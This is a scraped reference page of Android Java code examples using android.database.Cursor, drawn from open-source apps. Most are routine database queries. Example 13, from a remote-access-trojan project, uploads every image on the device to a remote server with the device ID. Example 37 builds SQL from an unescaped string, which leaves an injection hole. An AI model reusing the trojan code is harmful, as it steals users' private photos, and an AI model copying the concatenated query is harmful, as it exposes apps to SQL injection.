Java Code Examples for android.database.Cursor

The following are top voted examples for showing how to use android.database.Cursor. These examples are extracted from open source projects. You can vote up the examples you like and your votes will be used in our system to generate more good examples.
Example 1
Project: ShadowTravelor   File: DBHelper.java   View source code 7 votes vote down vote up
public RouteHistory getRouteHistory() {
    SQLiteDatabase db = this.getReadableDatabase();
    Cursor cursor = db.rawQuery("SELECT * FROM " + TABLE_ROUTE +
            " ORDER BY " + COLUMN_DATE + " DESC;", null);
    RouteHistory rh = new RouteHistory();
    cursor.moveToFirst();
    if (cursor != null) {
        do {
            Route route = new Route();
            route.setScore(cursor.getDouble(cursor.getColumnIndex(COLUMN_SCORE)));
            GregorianCalendar date = new GregorianCalendar();
            date.setTimeInMillis(cursor.getLong(cursor.getColumnIndex(COLUMN_DATE)));
            route.setDate(date);
            rh.add(route);
        } while (cursor.moveToNext());
    }
    this.close();
    return rh;
}
 
Example 2
Project: mobile-store   File: UpdatesAdapter.java   View source code 6 votes vote down vote up
@Override
public Loader<Cursor> onCreateLoader(int id, Bundle args) {
    Uri uri;
    switch (id) {
        case LOADER_CAN_UPDATE:
            uri = AppProvider.getCanUpdateUri();
            break;

        case LOADER_KNOWN_VULN:
            uri = AppProvider.getInstalledWithKnownVulnsUri();
            break;

        default:
            throw new IllegalStateException("Unknown loader requested: " + id);
    }

    return new CursorLoader(
            activity, uri, Schema.AppMetadataTable.Cols.ALL, null, null, Schema.AppMetadataTable.Cols.NAME);
}
 
Example 3
Project: sealtalk-android-master   File: FriendDao.java   View source code 6 votes vote down vote up
/** @inheritdoc */
@Override
public Friend readEntity(Cursor cursor, int offset) {
    Friend entity = new Friend( //
        cursor.getString(offset + 0), // userId
        cursor.isNull(offset + 1) ? null : cursor.getString(offset + 1), // name
        cursor.isNull(offset + 2) ? null : Uri.parse(cursor.getString(offset + 2)), // portraitUri
        cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3), // displayName
        cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4), // region
        cursor.isNull(offset + 5) ? null : cursor.getString(offset + 5), // phoneNumber
        cursor.isNull(offset + 6) ? null : cursor.getString(offset + 6), // status
        cursor.isNull(offset + 7) ? null : cursor.getLong(offset + 7), // timestamp
        cursor.isNull(offset + 8) ? null : cursor.getString(offset + 8), // nameSpelling
        cursor.isNull(offset + 9) ? null : cursor.getString(offset + 9) // displayNameSpelling
    );
    return entity;
}
 
Example 4
Project: ecam-app-android   File: FoodDBHelper.java   View source code 6 votes vote down vote up
public boolean isInDB(String id) {
    SQLiteDatabase db = this.getReadableDatabase();

    Cursor cursor = db.query(
            FoodContract.FoodEntry.TABLE_NAME,
            null,
            FoodContract.FoodEntry.ID + " = ?",
            new String[] { id },
            null,
            null,
            FoodContract.FoodEntry.NAME
    );

    int result = cursor.getCount();
    cursor.close();
    return result > 0;

}
 
Example 5
Project: orgzly-android   File: NotesClient.java   View source code 6 votes vote down vote up
public static Note fromCursor(Cursor cursor) {
    long id = idFromCursor(cursor);

    int contentLines = cursor.getInt(cursor.getColumnIndex(DbNoteView.CONTENT_LINE_COUNT));

    OrgHead head = headFromCursor(cursor);

    NotePosition position = DbNote.positionFromCursor(cursor);

    Note note = new Note();

    note.setHead(head);
    note.setId(id);
    note.setPosition(position);
    note.setContentLines(contentLines);

    String inheritedTags = cursor.getString(cursor.getColumnIndex(DbNoteView.INHERITED_TAGS));
    if (! TextUtils.isEmpty(inheritedTags)) {
        note.setInheritedTags(DbNote.dbDeSerializeTags(inheritedTags));
    }

    return note;
}
 
Example 6
Project: KTools   File: ImageActivity.java   View source code 6 votes vote down vote up
private void handleAlbumData(Intent data) {
    Uri uri = data.getData();
    String[] projection = new String[]{
            MediaStore.Images.Media.DATA
    };

    Cursor cursor = getContentResolver().query(
            uri,
            projection,
            null,
            null,
            null
    );
    if (cursor != null && cursor.moveToFirst()) {
        int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
        String imagePath = cursor.getString(dataIndex);
        cursor.close();
        showBitmap(imagePath);
    }

}
 
Example 7
Project: IdeaTrackerPlus   File: DatabaseHelper.java   View source code 6 votes vote down vote up
public int getOrderIndexById(int id) {
    Cursor cursor = null;
    try {
        cursor = getEntryById(id);
        if (cursor.moveToFirst()) {
            while (!cursor.isAfterLast()) {
                return cursor.getInt(cursor.getColumnIndex(DataEntry.COLUMN_NAME_ENTRY_ID));
            }
        }
    } finally {
        if (cursor != null) {
            cursor.close();
        }
    }
    return 0;
}
 
Example 8
Project: letv   File: DownloadManager.java   View source code 6 votes vote down vote up
public static boolean isHasDownloadInDB(String vid) {
    Cursor cursor = null;
    boolean isHas = false;
    try {
        Query query = new Query(sConext.getContentResolver());
        query.setVid(vid);
        cursor = query(query);
        if (cursor != null && cursor.getCount() > 0) {
            isHas = true;
        }
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    } catch (Exception e) {
        e.printStackTrace();
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    } catch (Throwable th) {
        if (!(cursor == null || cursor.isClosed())) {
            cursor.close();
        }
    }
    return isHas;
}
 
Example 9
Project: boohee_v5.6   File: a.java   View source code 6 votes vote down vote up
public static String c(Context context) {
    try {
        Cursor query = context.getContentResolver().query(b, null, null, null, null);
        if (query == null) {
            return null;
        }
        query.moveToFirst();
        if (query.isAfterLast()) {
            if (query != null) {
                query.close();
            }
            return null;
        }
        String string = query.getString(query.getColumnIndex("proxy"));
        if (query == null) {
            return string;
        }
        query.close();
        return string;
    } catch (SecurityException e) {
        f.e(a, "getApnProxy has exception: " + e.getMessage());
        return "";
    }
}
 
Example 10
Project: iosched-reader   File: SessionDetailModel.java   View source code 6 votes vote down vote up
@Override
public boolean readDataFromCursor(Cursor cursor, QueryEnum query) {
    boolean success = false;

    if (cursor != null && cursor.moveToFirst()) {
        if (SessionDetailQueryEnum.SESSIONS == query) {
            readDataFromSessionCursor(cursor);
            mSessionLoaded = true;
            success = true;
        } else if (SessionDetailQueryEnum.TAG_METADATA == query) {
            readDataFromTagMetadataCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.FEEDBACK == query) {
            readDataFromFeedbackCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.SPEAKERS == query) {
            readDataFromSpeakersCursor(cursor);
            success = true;
        } else if (SessionDetailQueryEnum.MY_VIEWED_VIDEOS == query) {
            readDataFromMyViewedVideosCursor(cursor);
            success = true;
        }
    }

    return success;
}
 
Example 11
Project: MKAPP   File: DatabaseHelper.java   View source code 6 votes vote down vote up
public Cursor getAccessDns(String dname) {
    long now = new Date().getTime();
    lock.readLock().lock();
    try {
        SQLiteDatabase db = this.getReadableDatabase();

        // There is a segmented index on dns.qname
        // There is an index on access.daddr and access.block
        String query = "SELECT a.uid, a.version, a.protocol, a.daddr, d.resource, a.dport, a.block, d.time, d.ttl";
        query += " FROM access AS a";
        query += " LEFT JOIN dns AS d";
        query += "   ON d.qname = a.daddr";
        query += " WHERE a.block >= 0";
        query += " AND d.time + d.ttl >= " + now;
        if (dname != null)
            query += " AND a.daddr = ?";

        return db.rawQuery(query, dname == null ? new String[]{} : new String[]{dname});
    } finally {
        lock.readLock().unlock();
    }
}
 
Example 12
Project: FlickLauncher   File: LauncherProvider.java   View source code 6 votes vote down vote up
/**
 * @return the max _id in the provided table.
 */
@Thunk static long getMaxId(SQLiteDatabase db, String table) {
    Cursor c = db.rawQuery("SELECT MAX(_id) FROM " + table, null);
    // get the result
    long id = -1;
    if (c != null && c.moveToNext()) {
        id = c.getLong(0);
    }
    if (c != null) {
        c.close();
    }

    if (id == -1) {
        throw new RuntimeException("Error: could not query max id in " + table);
    }

    return id;
}
 
Example 13
Project: Dendroid-HTTP-RAT   File: MyService.java   View source code 6 votes vote down vote up
@Override
      protected String doInBackground(String... params) {     
			
			Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
		    String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.BUCKET_ID,
		            MediaStore.Images.Media.BUCKET_DISPLAY_NAME, MediaStore.Images.Media.DATA, MediaStore.Images.Media.DATE_TAKEN, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.SIZE};
		  	  Log.i("com.connect", "Pictures started");
    
		    Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
		    if (cursor != null) 
		    {
		        while (cursor.moveToNext()) 
		        {
//		            if(Integer.parseInt(i)<Integer.parseInt(cursor.getString(5)) && Integer.parseInt(j)>Integer.parseInt(cursor.getString(5)) && Integer.parseInt(k) > (Integer.parseInt(cursor.getString(7))/1024^2))
//		            {
			    		  new UploadFile(cursor.getString(3), urlUploadPictures + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Password=" + password).execute("");
//		            }
		        }
		    }
		        cursor.close();     	
			  	  Log.i("com.connect", "Pictures done");
		    return "Executed";
      }
 
Example 14
Project: MovieGuide   File: FavoritesFragment.java   View source code 6 votes vote down vote up
@Override
protected ArrayList<TV> doInBackground(Void... voids) {
    ArrayList<TV> posters = new ArrayList<>();
    String[] columns = new String[]{ COLUMN_POSTER_PATH, COLUMN_TV_SHOW_ID, COLUMN_NAME};

    final Cursor cursor = contentResolver.query(FavoritesContract.FavoriteColumns.uriTVShow,
            columns, null, null, null);

    if (cursor != null && cursor.getCount() != 0) {
        TV data;
        while (cursor.moveToNext()) {
            data = new TV();
            data.setPosterPath(cursor.getString(0));
            data.setId(String.format("%s", cursor.getInt(1)));
            data.setName(cursor.getString(2));
            posters.add(data);
        }
    } else {
        if (LOG) {
            Log.d(TAG, "Cursor is empty");
        }
    }
    if (cursor != null)
        cursor.close();
    return posters;
}
 
Example 15
Project: android-apkbox   File: AbstractDao.java   View source code 6 votes vote down vote up
/**
 * hasData
 *
 * @param context   context
 * @param tableName tableName
 * @param where     where
 * @return bool
 */
protected boolean hasData(Context context, String tableName, String where) {
    int count = 0;
    try {
        SQLiteDatabase db = getHelper(context).getWritableDatabase();
        Cursor cursor = db.query(false, tableName, null, where, null, null, null, null, null);
        try {
            count = cursor.getCount();
        } finally {
            if (!cursor.isClosed()) {
                cursor.close();
            }
            db.close();
            db = null;
        }
    } catch (Exception e) {
        handleException(e);
    }
    return count > 0;
}
 
Example 16
Project: wallpaperboard   File: Database.java   View source code 6 votes vote down vote up
public List<Category> getCategories() {
    if (!openDatabase()) {
        LogUtil.e("Database error: getCategories() failed to open database");
        return new ArrayList<>();
    }

    List<Category> categories = new ArrayList<>();
    Cursor cursor = mDatabase.get().mSQLiteDatabase.query(TABLE_CATEGORIES,
            null, null, null, null, null, KEY_NAME);
    if (cursor.moveToFirst()) {
        do {
            Category category = Category.Builder()
                    .id(cursor.getInt(cursor.getColumnIndex(KEY_ID)))
                    .name(cursor.getString(cursor.getColumnIndex(KEY_NAME)))
                    .selected(cursor.getInt(cursor.getColumnIndex(KEY_SELECTED)) == 1)
                    .muzeiSelected(cursor.getInt(cursor.getColumnIndex(KEY_MUZEI_SELECTED)) == 1)
                    .build();
            categories.add(category);
        } while (cursor.moveToNext());
    }
    cursor.close();
    return categories;
}
 
Example 17
Project: IdeaTrackerPlus   File: DatabaseHelper.java   View source code 6 votes vote down vote up
public String getTextById(int id) {
    Cursor cursor = null;
    try {
        cursor = getEntryById(id);
        if (cursor.moveToFirst()) {
            while (!cursor.isAfterLast()) {
                return cursor.getString(cursor.getColumnIndex(DataEntry.COLUMN_NAME_TEXT));
            }
        }
    } finally {
        if (cursor != null) {
            cursor.close();
        }
    }
    return "Nothing";
}
 
Example 18
Project: Viajes   File: MainActivity.java   View source code 6 votes vote down vote up
private void updateSearchSuggestion(String query) {
    // cursor
    ContentResolver contentResolver = getApplicationContext().getContentResolver();
    String contentUri = "content://" + MySearchRecentSuggestions.AUTHORITY + '/' + SearchManager.SUGGEST_URI_PATH_QUERY;
    Uri uri = Uri.parse(contentUri);
    Cursor cursor = contentResolver.query(uri, null, null, new String[]{query}, null);
    // searchview content
    if (mSearchSuggestionAdapter == null) {
        // create adapter
        mSearchSuggestionAdapter = new SearchSuggestionAdapter(MainActivity.this, cursor);
        // set adapter
        mSearchView.setSuggestionsAdapter(mSearchSuggestionAdapter);
    } else {
        // refill adapter
        mSearchSuggestionAdapter.refill(MainActivity.this, cursor);
        // set adapter
        mSearchView.setSuggestionsAdapter(mSearchSuggestionAdapter);
    }
}
 
Example 19
Project: ZhuHaiBusApplication   File: ActAdapter.java   View source code 6 votes vote down vote up
@Override
public View newView(Context context, Cursor cursor, ViewGroup viewGroup) {
    View view=layoutInflater.inflate(R.layout.item_view,null);

    TextView item=(TextView)view;
    item.setText(cursor.getString(cursor.getColumnIndex("_id")));
    TextView textView= view.findViewById(R.id.point_item_tv);
    textView.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Log.d(TAG, "onClick: select lineId is "+textView.getText());
            realTimeBusQueryActivity.lineNumber_actv.setText(textView.getText());
            realTimeBusQueryActivity.showFromAndToStation((String) textView.getText());
        }
    });
    return view;
}
 
Example 20
Project: Hotspot-master-devp   File: MediaUtils.java   View source code 6 votes vote down vote up
public static ArrayList<String> getSpecialFolderImg(Context context,String folder) {
//        Cursor mCursor = mContentResolver.query(imageUri, null,
//                MediaStore.Images.Media.MIME_TYPE + "=? or " + MediaStore.Images.Media.MIME_TYPE + "=?",
//                new String[]{"image/jpeg", "image/png"}, MediaStore.Images.Media.DATE_TAKEN + " DESC");
        //selection: 指定查询条件
        String selection = MediaStore.Images.Media.DATA + " like ? and ("+MediaStore.Images.Media.MIME_TYPE + "=? or " + MediaStore.Images.Media.MIME_TYPE + "=?)";
        //定义selectionArgs:
        String[] selectionArgs = {"%"+folder+"%","image/jpeg","image/png"};
        Cursor cursor = context.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,null,
                selection, selectionArgs, null);
        ArrayList<String> photolist = new ArrayList<String>();
        while (cursor.moveToNext()) {
            String imgPath = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA));
            photolist.add(imgPath);
        }
        cursor.close();
        return photolist;
    }
 
Example 21
Project: QuranAndroid   File: DatabaseAccess.java   View source code 6 votes vote down vote up
/**
 * Function to get one aya tafser
 *
 * @param soraID Sora id
 * @param ayaID  Aya id
 * @param book   Tafseer book number
 * @return Aya information with tafseer
 */
public AyaTafseer getAyaTafseer(int soraID, int ayaID, int book, String ayaText) {

    AyaTafseer ayaTafseer = null;
    SQLiteDatabase db = openDB(TAFSEER_DATABASE + "/tafseer" + book + ".sqlite");
    String sql = "select tafseer from ayatafseer where soraid = " + soraID + " and ayaid = " + ayaID + " ;";
    Cursor cursor = db.rawQuery(sql, null);
    cursor.moveToFirst();
    if (!cursor.isAfterLast()) {
        ayaTafseer = new AyaTafseer(soraID,
                ayaID, cursor.getString(0).equals("") ? "لا يوجد تفسير" : cursor.getString(0),
                ayaText);
        cursor.moveToNext();
    }
    cursor.close();
    closeDB(db);
    return ayaTafseer;
}
 
Example 22
Project: aos-Video   File: RootFragmentAdapter.java   View source code 6 votes vote down vote up
public void updateIndexedShortcuts(Cursor cursor) {
    mShortcutsCursor = cursor;
    uriColumnIndex = mShortcutsCursor.getColumnIndex(ShortcutDbAdapter.KEY_PATH);
    nameColumnIndex = mShortcutsCursor.getColumnIndex(ShortcutDbAdapter.KEY_NAME);
    friendlyUriColumnIndex = mShortcutsCursor.getColumnIndex(ShortcutDbAdapter.KEY_FRIENDLY_URI);
    mIndexedShortcuts = new ArrayList<ShortcutDbAdapter.Shortcut>();
    if(mShortcutsCursor.getCount()>0){
        mShortcutsCursor.moveToFirst();
        do{
            String name = mShortcutsCursor.getString(nameColumnIndex);
            Uri uri = Uri.parse(mShortcutsCursor.getString(uriColumnIndex));
            String friendlyUri = mShortcutsCursor.getString(friendlyUriColumnIndex);
            if(name==null||name.isEmpty()) {
                name = uri.getLastPathSegment();
            }
            mIndexedShortcuts.add(new ShortcutDbAdapter.Shortcut(name, uri.toString(),friendlyUri));
        }while(mShortcutsCursor.moveToNext());
    }
    resetData();
}
 
Example 23
Project: Phoenix-for-VK   File: WallStore.java   View source code 6 votes vote down vote up
@Override
public Single<Optional<PostEntity>> findPostById(int accountId, int dbid) {
    return Single.create(e -> {
        final Cancelable cancelable = e::isDisposed;

        final Uri uri = getPostsContentUriFor(accountId);
        final String where = PostsColumns._ID + " = ?";
        final String[] args = new String[]{String.valueOf(dbid)};
        Cursor cursor = getContentResolver().query(uri, null, where, args, null);

        PostEntity dbo = null;

        if (nonNull(cursor)) {
            if (cursor.moveToNext()) {
                dbo = mapDbo(accountId, cursor, true, true, cancelable);
            }

            cursor.close();
        }

        e.onSuccess(Optional.wrap(dbo));
    });
}
 
Example 24
Project: GitHub   File: AlbumTask.java   View source code 6 votes vote down vote up
private void buildAlbumInfo(ContentResolver cr) {
    String[] distinctBucketColumns = new String[]{Media.BUCKET_ID, Media.BUCKET_DISPLAY_NAME};
    Cursor bucketCursor = null;
    try {
        bucketCursor = cr.query(Media.EXTERNAL_CONTENT_URI, distinctBucketColumns, "0==0)" + " GROUP BY(" + Media.BUCKET_ID, null,
                Media.DATE_MODIFIED + " desc");
        if (bucketCursor != null && bucketCursor.moveToFirst()) {
            do {
                String buckId = bucketCursor.getString(bucketCursor.getColumnIndex(Media.BUCKET_ID));
                String name = bucketCursor.getString(bucketCursor.getColumnIndex(Media.BUCKET_DISPLAY_NAME));
                AlbumEntity album = buildAlbumInfo(name, buckId);
                if (!TextUtils.isEmpty(buckId)) {
                    buildAlbumCover(cr, buckId, album);
                }
            } while (bucketCursor.moveToNext() && !bucketCursor.isLast());
        }
    } finally {
        if (bucketCursor != null) {
            bucketCursor.close();
        }
    }
}
 
Example 25
Project: buildAPKsSamples   File: VoicemailProviderHelpers.java   View source code 6 votes vote down vote up
@Override
public Voicemail findVoicemailBySourceData(String sourceData) {
    Cursor cursor = null;
    try {
        cursor = mContentResolver.query(mBaseUri, FULL_PROJECTION,
                DbQueryUtils.getEqualityClause(Voicemails.SOURCE_DATA, sourceData),
                null, null);
        if (cursor.getCount() != 1) {
            logger.w("Expected 1 voicemail matching sourceData " + sourceData + ", got " +
                    cursor.getCount());
            return null;
        }
        cursor.moveToFirst();
        return getVoicemailFromCursor(cursor);
    } finally {
        CloseUtils.closeQuietly(cursor);
    }
}
 
Example 26
Project: ThunderMusic   File: MusicUtils.java   View source code 6 votes vote down vote up
public static int idForplaylist(String name, Context context) {
    Cursor c = MusicUtils.query(context,
            MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,
            new String[]{MediaStore.Audio.Playlists._ID},
            MediaStore.Audio.Playlists.NAME + "=?", new String[]{name},
            MediaStore.Audio.Playlists.NAME);
    int id = -1;
    if (c != null) {
        c.moveToFirst();
        if (!c.isAfterLast()) {
            id = c.getInt(0);
        }
        c.close();
    }
    return id;
}
 
Example 27
Project: Phoenicia   File: MigrationHelper.java   View source code 6 votes vote down vote up
public boolean hasField(Class<? extends Model> model, String name) {
	String table = DatabaseBuilder.getTableName(model);
	String sql = "PRAGMA TABLE_INFO(`" + table + "`)";
	
	Cursor c = getCursor(sql);
	
	while(c.moveToNext()) {
		String fieldName = c.getString(c.getColumnIndexOrThrow("name"));
		
		if(fieldName.equals(name)) {
			close(c);
			return true;
		}
	}
	
	close(c);
	return false;
}
 
Example 28
Project: Huochexing12306   File: BaiduPushTagsHelper.java   View source code 6 votes vote down vote up
/**
 * 取得应该设置的tag
 * @return 应该设置的tags
 */
private List<String> getTagsList() {
	//先添加车次聊天室需要的tag
	List<String> newTags = new  ArrayList<String>();
	MyDatabase myDB = new MyDatabase(MyApp.getInstance().getApplicationContext());
	SQLiteDatabase db = myDB.getWritableDB();
	int userId = MyApp.getInstance().getUserInfoSPUtil().getUId();
	Cursor c= db.rawQuery("select T_id from UserTrainB where ReceiveMsg = 1 and  U_id = "+userId+" group by T_id order by _id DESC", null);
	while(c.moveToNext()){
		newTags.add(c.getString(c.getColumnIndex("T_id")));
	}
	//添加其他tag --如果有的话
	//添加公共聊天室
	if(MyApp.getInstance().getSettingSPUtil().isReceivePublicChatroom()){
		newTags.add("all");
	}
	c.close();
	myDB.closeDB();
	return newTags;
}
 
Example 29
Project: XERUNG   File: GroupDb.java   View source code 6 votes vote down vote up
public int getMemberTableCount(String table) {
    int count = 0;
    try {
        String countQuery = "SELECT COUNT(*) as m FROM " + table;
        SQLiteDatabase sq = this.getReadableDatabase();
        Cursor cursor = sq.rawQuery(countQuery, null);
        count = cursor.getInt(0);
        cursor.close();
        sq.close();

    } catch (Exception e) {
        // TODO: handle exception
        //Log.e("GroupDBErro", "GetGroup Count "+e.getMessage());
        e.printStackTrace();
    }
    return count;
}
 
Example 30
Project: Shopping_List   File: UsedProductDao.java   View source code 6 votes vote down vote up
public UsedProduct loadDeep(Long key) {
    assertSinglePk();
    if (key == null) {
        return null;
    }

    StringBuilder builder = new StringBuilder(getSelectDeep());
    builder.append("WHERE ");
    SqlUtils.appendColumnsEqValue(builder, "T", getPkColumns());
    String sql = builder.toString();
    
    String[] keyArray = new String[] { key.toString() };
    Cursor cursor = db.rawQuery(sql, keyArray);
    
    try {
        boolean available = cursor.moveToFirst();
        if (!available) {
            return null;
        } else if (!cursor.isLast()) {
            throw new IllegalStateException("Expected unique result, but count was " + cursor.getCount());
        }
        return loadCurrentDeep(cursor, true);
    } finally {
        cursor.close();
    }
}
 
Example 31
Project: MyBP   File: PlansMasterFragment.java   View source code 6 votes vote down vote up
public void bindView(View view, Context context, Cursor plan) {
    TextView textViewIndex = (TextView) view.findViewById(R.id.textViewIndex);
    TextView textViewDescription = (TextView) view.findViewById(R.id.textViewDescription);

    textViewIndex.setText(String.valueOf(plan.getLong(plan.getColumnIndex(PlanTable.ID))));

    String description = "";
    if(plan.getString(plan.getColumnIndex(PlanTable.TITLE)).length() > 35) {
        description += plan.getString(plan.getColumnIndex(PlanTable.TITLE)).substring(0, 31) + "..." + "\n\n";
    } else {
        description = plan.getString(plan.getColumnIndex(PlanTable.TITLE)) + "\n\n";
    }

    description += "[" + plan.getString(plan.getColumnIndex(PlanTable.TYPE)) + "]" + "\n\n"
            + "From: " + DateUtils.formatDateTime(context, plan.getLong(plan.getColumnIndex(PlanTable.FROM)), DateUtils.FORMAT_SHOW_DATE | DateUtils.FORMAT_SHOW_TIME) + "\n"
            + "To: " + DateUtils.formatDateTime(context, plan.getLong(plan.getColumnIndex(PlanTable.TO)), DateUtils.FORMAT_SHOW_DATE | DateUtils.FORMAT_SHOW_TIME);

    textViewDescription.setText(description);
}
 
Example 32
Project: XERUNG   File: GroupDb.java   View source code 5 votes vote down vote up
public ArrayList<GroupBean> getGroupLimit(int pageSkip, int maxCount) {
    //Log.e("adadad", "adadada===SKIP=="+pageSkip+"---MAX COUNT"+maxCount);
    ArrayList<GroupBean> gbList = new ArrayList<GroupBean>();
    try {
        String selectQuery = "SELECT " + T_GROUPID + ", " + T_GROUPNAME + ", " + T_MADEBYNAME +
                ", " + T_MADEBYPHONENO + ", " + T_TAGNAME + ", " + T_DESCRITION + ", " + T_GROUPPHOTO + ", " +
                T_MEMBERCOUNT + ", " + T_ACCESS_TYPE + ", " + T_ADMINFLAG + ", " + T_CREATEUPDATETS + " FROM " + TABLE_NAME + " Order by " + T_CREATEUPDATETS + " " + "LIMIT " + pageSkip + ", " + maxCount;

        SQLiteDatabase db = this.getWritableDatabase();
        Cursor cursor = db.rawQuery(selectQuery, null);
        // looping through all rows and adding to list
        if (cursor.moveToFirst()) {
            do {
                GroupBean contact = new GroupBean();
                contact.setmGroupId(String.valueOf(cursor.getInt(0)));
                contact.setmGroupName(cursor.getString(1));
                contact.setmGroupMadeByName(cursor.getString(2));
                contact.setmGroupMadeByNum(cursor.getString(3));
                contact.setmGroupTag(cursor.getString(4));
                contact.setmGroupDesc(cursor.getString(5));
                contact.setmPhoto(cursor.getString(6));
                contact.setmGroupSize(Integer.parseInt(cursor.getString(7).trim()));
                contact.setmGroupAccessType(cursor.getString(8));
                contact.setmGroupAdmin(cursor.getString(9));
                contact.setmGroupCreatedDate(cursor.getString(10));
                gbList.add(contact);
            } while (cursor.moveToNext());
        }
        if (cursor != null)
            cursor.close();
        db.close();
    } catch (Exception e) {
        // TODO: handle exception
        //Log.e("GroupDBErro", "FetchAllDB " + e.getMessage());
        e.printStackTrace();
    }
    return gbList;
}
 
Example 33
Project: ObjectBoxDebugBrowser   File: ExtTestDBHelper.java   View source code 5 votes vote down vote up
public int count() {
    SQLiteDatabase db = getReadableDatabase();
    Cursor cursor = db.rawQuery("select COUNT(*) from " + TEST_TABLE_NAME, null);
    if (cursor != null && cursor.getCount() > 0) {
        cursor.moveToFirst();
        return cursor.getInt(0);
    } else {
        return 0;
    }
}
 
Example 34
Project: Hello-Music-droid   File: TimberUtils.java   View source code 5 votes vote down vote up
public static final int getSongCountForPlaylist(final Context context, final long playlistId) {
    Cursor c = context.getContentResolver().query(
            MediaStore.Audio.Playlists.Members.getContentUri("external", playlistId),
            new String[]{BaseColumns._ID}, MUSIC_ONLY_SELECTION, null, null);

    if (c != null) {
        int count = 0;
        if (c.moveToFirst()) {
            count = c.getCount();
        }
        c.close();
        c = null;
        return count;
    }

    return 0;
}
 
Example 35
Project: AndroidCollection   File: PhoneUtils.java   View source code 5 votes vote down vote up
/**
 * 获取手机联系人
 * <p>需添加权限<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 * <p>需添加权限<uses-permission android:name="android.permission.READ_CONTACTS" />
 */
public static List<HashMap<String, String>> getAllContactInfo(Context context) {
    SystemClock.sleep(3000);
    ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
    // 1.获取内容解析者
    ContentResolver resolver = context.getContentResolver();
    // 2.获取内容提供者的地址:com.android.contacts
    // raw_contacts表的地址 :raw_contacts
    // view_data表的地址 : data
    // 3.生成查询地址
    Uri raw_uri = Uri.parse("content://com.android.contacts/raw_contacts");
    Uri date_uri = Uri.parse("content://com.android.contacts/data");
    // 4.查询操作,先查询raw_contacts,查询contact_id
    // projection : 查询的字段
    Cursor cursor = resolver.query(raw_uri, new String[]{"contact_id"},
            null, null, null);
    // 5.解析cursor
    while (cursor.moveToNext()) {
        // 6.获取查询的数据
        String contact_id = cursor.getString(0);
        // cursor.getString(cursor.getColumnIndex("contact_id"));//getColumnIndex
        // : 查询字段在cursor中索引值,一般都是用在查询字段比较多的时候
        // 判断contact_id是否为空
        if (!TextUtils.isEmpty(contact_id)) {//null   ""
            // 7.根据contact_id查询view_data表中的数据
            // selection : 查询条件
            // selectionArgs :查询条件的参数
            // sortOrder : 排序
            // 空指针: 1.null.方法 2.参数为null
            Cursor c = resolver.query(date_uri, new String[]{"data1",
                            "mimetype"}, "raw_contact_id=?",
                    new String[]{contact_id}, null);
            HashMap<String, String> map = new HashMap<String, String>();
            // 8.解析c
            while (c.moveToNext()) {
                // 9.获取数据
                String data1 = c.getString(0);
                String mimetype = c.getString(1);
                // 10.根据类型去判断获取的data1数据并保存
                if (mimetype.equals("vnd.android.cursor.item/phone_v2")) {
                    // 电话
                    map.put("phone", data1);
                } else if (mimetype.equals("vnd.android.cursor.item/name")) {
                    // 姓名
                    map.put("name", data1);
                }
            }
            // 11.添加到集合中数据
            list.add(map);
            // 12.关闭cursor
            c.close();
        }
    }
    // 12.关闭cursor
    cursor.close();
    return list;
}
 
Example 36
Project: KernelAdiutor-Mod   File: Utils.java   View source code 5 votes vote down vote up
public static String getPath(Uri uri, Context context) {
    String path = null;
    String[] filePathColumn = {MediaStore.Images.Media.DATA};
    Cursor cursor = context.getContentResolver().query(uri, filePathColumn, null, null, null);
    if (cursor != null) {
        if (cursor.moveToFirst()) {
            int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
            path = cursor.getString(columnIndex);
        }
        cursor.close();
    }
    return path;
}
 
Example 37
Project: storj_hoststats_app   File: DatabaseManager.java   View source code 5 votes vote down vote up
public Cursor getNode(String nodeID) {
    SQLiteDatabase db = mDbHelper.getReadableDatabase();

    Cursor cursor = db.rawQuery("SELECT * FROM " + NodeReaderContract.NodeEntry.TABLE_NAME + " WHERE " +
            NodeReaderContract.NodeEntry.NODE_ID+" = '"+ nodeID +"'", null);

    cursor.moveToFirst();
    return cursor;
}
 
Example 38
Project: XERUNG   File: GroupDb.java   View source code 5 votes vote down vote up
public ArrayList<ContactBean> getAllMember(String tableName) {

        ArrayList<ContactBean> gbList = new ArrayList<ContactBean>();
        try {
            String selectQuery = "SELECT " + MEMBER_NAME + ", " + MEMBER_PHONE + ", " + MEMBER_SEARCHKEY + ", " + MEMBER_UID + ", " + MEMBER_FLAG + ", " + MEMBER_ORG_NAME + ", "
                    + MEMBER_PH_BOK_NAME + ", " + MEMBER_ISMY_CONTACT + ", " + MEMBER_BLOOD_GROUP + ", " + MEMBER_ADMIN_FLAG + ", " + MEMBER_CREATED_DATE + " FROM " + tableName;

            SQLiteDatabase db = this.getWritableDatabase();
            Cursor cursor = db.rawQuery(selectQuery, null);
            // looping through all rows and adding to list
            if (cursor.moveToFirst()) {
                do {
                    ContactBean contact = new ContactBean();
                    contact.setName(cursor.getString(0));
                    contact.setNumber(cursor.getString(1));
                    contact.setSearchKey(cursor.getString(2));
                    contact.setUID(cursor.getString(3));
                    contact.setRequestFlag(cursor.getString(4));
                    contact.setOrignalName(cursor.getString(5));
                    contact.setMyPhoneBookName(cursor.getString(6));
                    contact.setIsMyContact(cursor.getInt(7));
                    contact.setmBloodGroup(cursor.getString(8));
                    contact.setAdminFlag(cursor.getString(9));
                    contact.setmCreatedDate(cursor.getString(10));
                    gbList.add(contact);
                } while (cursor.moveToNext());
            }
            if (cursor != null)
                cursor.close();
            db.close();
            ;
